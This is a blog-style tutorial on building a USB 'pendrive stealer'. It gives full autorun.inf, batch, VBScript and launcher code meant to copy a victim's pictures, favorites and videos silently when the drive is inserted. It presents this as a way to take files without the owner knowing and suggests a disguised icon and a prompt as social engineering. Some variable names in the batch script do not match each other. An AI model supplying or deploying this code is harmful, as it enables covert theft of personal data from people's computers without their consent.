How to create a Pendrive Stealer (Auto File Copier)

Sometimes you desperately needs some files from another PC of which it feels embarrassing asking, or for some other reasons you don’t want to inform any other third party.  within this post we will focus on creating auto file copier from a computer.  By just slotting the drive and silently and unnoticed  clones files on someone’s Personal computer. 

STEP 1

Launch Notepad (I recommend Notepad++) and copy-paste the following Scripts.

[autorun]
icon=drive.ico
open=launch.bat
action=Click OK to Run
shell\open\command=launch.bat
Save this as autorun.inf

The second line, the icon line is optional. Modify icons to suite your interest or maintain default icon. this serves a key  social engineering purpose .

Line four thus   “action=” command can be left out too but sometimes when the autorun launches it may ask the user what to open. based on the script the user will be instructed to click Ok or run the file. This section acts as a backup just in case the user is asked what to open.

The fifth line  “shell/open command”  acts as a supporter in case the user clicks cancel instead of open when prompted. This code will execute when the drive letter is clicked on.

STEP 2

@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% “%USERPROFILE%\pictures” “%drive%\all\My pics”
%backupcmd% “%USERPROFILE%\Favorites” “%drive%\all\Favorites”
%backupcmd% “%USERPROFILE%\videos” “%drive%\all\vids”
@echo off
cls

Open a new Notepad  and copy-paste the following lines Save this as file.bat

here is where the real action happens, This script is configured to copy the contents of the current user’s pictures, favorites, and videos folder to the Flash drive under a folder called “all”, this can be tweaked to copy files from any other location that best suits your interest. Xcopy is one of the command that aids in the copying .

The first file path “%USERPROFILE%\pictures” – is the target.
The second file path “%drive%\all\My pics” – is the destination.

STEP 3

Open new  Notepad once again and copy-paste the following line.

CreateObject(“Wscript.Shell”).Run “””” & WScript.Arguments(0) & “”””, 0, False

Save the above  as invisible.vbs This code runs the file.bat as a process so it does not show the CMD prompt and everything the batch file is processing.

STEP 4

For the last file launch Notepad and copy-paste the following line.

wscript.exe \invisible.vbs file.bat

Save this as launch.bat, This script performs two task, it looks for the invisible.vbs file in the root of the Flash drive then loads it with file.bat so file.bat is run with code from vbs file.

STEP 5

Copy all 4 files created in the above steps and put it on the  Flash drive, including the icon file if needed. Also, create a folder named “all” where the contents are to be copied automatically. You can call this folder by any name, but then you need to reflect the changes you made in step 2.

This is all that needs to be done. Test the Flash drive on your own computer first before playing it out on your victim. It works flawlessly.